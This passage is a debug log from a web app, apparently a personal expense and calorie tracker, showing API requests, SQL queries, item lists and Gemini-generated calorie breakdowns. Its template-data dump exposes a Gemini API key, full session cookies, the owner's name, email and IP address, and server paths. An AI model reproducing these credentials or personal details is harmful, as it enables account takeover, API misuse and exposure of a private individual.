    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T07:02:32.470Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '305',
    surplus_or_deficit: '2095',
    status_flag: 2
  }
]
2025-12-13T07:02:48.044Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-13T07:02:48.045Z server-connect:app Executing action step identify
2025-12-13T07:02:48.045Z server-connect:app options: { provider: 'security' }
2025-12-13T07:02:48.045Z server-connect:output identity: 1
2025-12-13T07:02:48.045Z server-connect:app Executing action step restrict
2025-12-13T07:02:48.045Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:02:48.045Z server-connect:output restrict: undefined
2025-12-13T07:02:48.045Z server-connect:app Executing action step processWithGemini
2025-12-13T07:02:48.045Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-13T07:02:55.931Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Banana',
      quantity: '1 medium (approx 100g edible portion)',
      total_calories: 89,
      protein: 1.1,
      carbs: 23,
      fat: 0.3,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of quick carbohydrates for energy, especially beneficial for pre or post-workout recovery. Provides potassium crucial for muscle function and electrolyte balance. A good choice for muscle development.'
    },
    {
      food_name: 'Papaya',
      quantity: '3 slices (approx 180g, assuming 60g per slice)',
      total_calories: 77,
      protein: 0.9,
      carbs: 19.8,
      fat: 0.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Low in calories and rich in vitamins (C and A) and antioxidants. Contains papain, an enzyme that aids digestion, which can be beneficial. Good for hydration and general health support for an active lifestyle.'
    }
  ],
  total_summary: {
    total_calories: 166,
    total_protein: '2 g',
    total_carbs: '43 g',
    total_fat: '1 g',
    unit_of_macros: 'grams'
  }
}
2025-12-13T07:03:03.970Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-13T07:03:03.971Z server-connect:app Executing action step identify
2025-12-13T07:03:03.971Z server-connect:app options: { provider: 'security' }
2025-12-13T07:03:03.971Z server-connect:output identity: 1
2025-12-13T07:03:03.971Z server-connect:app Executing action step restrict
2025-12-13T07:03:03.972Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:03:03.972Z server-connect:output restrict: undefined
2025-12-13T07:03:03.972Z server-connect:app Executing action step condition
2025-12-13T07:03:03.972Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-13T07:03:03.973Z server-connect:app Executing action step repeat
2025-12-13T07:03:03.973Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-13T07:03:03.973Z server-connect:app Executing action step insert
2025-12-13T07:03:03.973Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T07:03:03.974Z server-connect:output calories: { affected: 1, identity: 375 }
2025-12-13T07:03:03.974Z server-connect:app Executing action step insert
2025-12-13T07:03:03.974Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-13T07:03:03.975Z server-connect:output calories: { affected: 1, identity: 376 }
2025-12-13T07:03:03.975Z server-connect:output repeat: [ {}, {} ]
2025-12-13T07:03:03.975Z server-connect:output condition: undefined
2025-12-13T07:03:04.194Z server-connect:router Serving templateView /calorie-tracker
2025-12-13T07:03:04.194Z server-connect:app Executing action step identify
2025-12-13T07:03:04.194Z server-connect:app options: { provider: 'security' }
2025-12-13T07:03:04.195Z server-connect:output identity: 1
2025-12-13T07:03:04.195Z server-connect:app Executing action step restrict
2025-12-13T07:03:04.195Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-13T07:03:04.196Z server-connect:output restrict: undefined
2025-12-13T07:03:04.196Z server-connect:router Render template layouts/main
2025-12-13T07:03:04.196Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-14T06:28:58.121Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AX4syas%2BW52SRL8GUQFDWvg%3D%3D.uobaIc%2BHVwvdoFGF5ZjFZyh4%2BWaCXt1tiHEd3PLnVgO45SVcLX1rkMCjtUx0z6ZJPOTgeXamJe6AmU8P6mi80AvSaO04ihotdfVtZgFp%2BWa3mVhtE27rw%2BmwxFJI3s%2FkcE%2Bxr9N7lghqjkIhNjmOIu%2BRvbGVsMkQCk%2FiiUFuAhw%3D.3QkGv7zB1NSKO6YZ16c72PKLL7SNVXJSvMEdT4KTk2k; your_r_git.sid=s%3AFFBXwIU1aV7RMz8CUgfDhDo30InLO_mU.0W0kxOW8ZJNXb%2FZcyCg650LItvc8byKSUXj4YYJG0Ms',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-13T07:03:04.855Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-13T07:03:04.858Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-13T07:03:04.858Z server-connect:app Executing action step identify
2025-12-13T07:03:04.858Z server-connect:app options: { provider: 'security' }
2025-12-13T07:03:04.858Z server-connect:output identity: 1
2025-12-13T07:03:04.858Z server-connect:app Executing action step restrict
2025-12-13T07:03:04.858Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:03:04.859Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-13T07:03:04.860Z server-connect:output restrict: undefined
2025-12-13T07:03:04.860Z server-connect:app Executing action step single
2025-12-13T07:03:04.860Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-13T07:03:04.861Z server-connect:app Executing action step identify
2025-12-13T07:03:04.861Z server-connect:app options: { provider: 'security' }
2025-12-13T07:03:04.861Z server-connect:output identity: 1
2025-12-13T07:03:04.861Z server-connect:app Executing action step restrict
2025-12-13T07:03:04.861Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:03:04.861Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-13T07:03:04.862Z server-connect:app Executing action step identify
2025-12-13T07:03:04.862Z server-connect:app options: { provider: 'security' }
2025-12-13T07:03:04.862Z server-connect:output identity: 1
2025-12-13T07:03:04.862Z server-connect:app Executing action step restrict
2025-12-13T07:03:04.862Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-13T07:03:04.862Z server-connect:output restrict: undefined
2025-12-13T07:03:04.862Z server-connect:app Executing action step select
2025-12-13T07:03:04.862Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-13T07:03:04.863Z server-connect:output restrict: undefined
2025-12-13T07:03:04.863Z server-connect:app Executing action step single
2025-12-13T07:03:04.863Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-13T07:03:04.864Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-13T07:03:04.864Z server-connect:app Executing action step select
2025-12-13T07:03:04.864Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-13T07:03:04.866Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-13T07:03:04.868Z server-connect:output item_list: [
  {
    id: 371,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'Black coffee,Water',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Enhances performance and focus during early morning workouts without significant caloric intake. Beneficial for muscle development goal.'
  },
  {
    id: 372,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Paneer',
    calories: 145,
    protein_gm: 9,
    carbs_gm: 2,
    fat_gm: 11,
    quantity: '50 gm',
    replacements: 'Low-fat paneer (reduced fat content, fewer calories),Tofu (lower fat, good protein),Chicken breast (lean protein, low fat),Egg whites (pure protein, no fat),Greek yogurt (high protein, often low fat)',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of high-quality protein and healthy fats, crucial for muscle repair, growth, and satiety, especially important for a muscle development goal with consistent gym activity.'
  },
  {
    id: 373,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Sugar Tea',
    calories: 102,
    protein_gm: 3,
    carbs_gm: 15,
    fat_gm: 4,
    quantity: '1 small cup (approx 100ml full-fat milk, 10g sugar)',
    replacements: 'Black tea (0 calories),Green tea (0 calories),Tea with artificial sweetener (e.g., stevia, sucralose),Tea with skim milk or low-fat milk (reduced calories, fat),Tea with less sugar or no sugar',
    created_at: '2025-12-13T01:05:52.000Z',
    skip_level: 3,
    skip_reason: 'This item is high in added sugar, providing empty calories that contribute minimally to muscle development and can hinder fat loss efforts. For someone with a desk job and a muscle development goal, minimizing added sugars is key to maintaining a lean physique and optimizing nutrient intake. Full-fat milk also adds unnecessary calories and saturated fat that could be optimized by using skim or low-fat milk.'
  },
  {
    id: 374,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 48,
    protein_gm: 2,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: "1 cup (approx 200ml, assuming 75ml full-fat cow's milk and 125ml brewed black tea)",
    replacements: 'Tea with skim milk or low-fat milk,Black tea or green tea (zero calories),Herbal tea',
    created_at: '2025-12-13T01:32:31.000Z',
    skip_level: 1,
    skip_reason: 'Milk tea without sugar is a generally good choice, especially for someone with your activity level and muscle development goals. Milk provides essential protein and calcium, beneficial for muscle repair and bone health. By skipping sugar, you avoid empty calories and added sugars, making it a much healthier beverage choice.'
  },
  {
    id: 375,
    intake_date: '2025-12-12T18:30:00.000Z',
    item_name: 'Banana',
    calories: 89,
    protein_gm: 1,
    carbs_gm: 23,
    fat_gm: 0,
    quantity: '1 medium (approx 100g edible portion)',
    replacements: 'Berries (e.g., strawberries, blueberries),Apple,Guava',
    created_at: '2025-12-13T01:33:03.000Z',
    skip_level: 1,
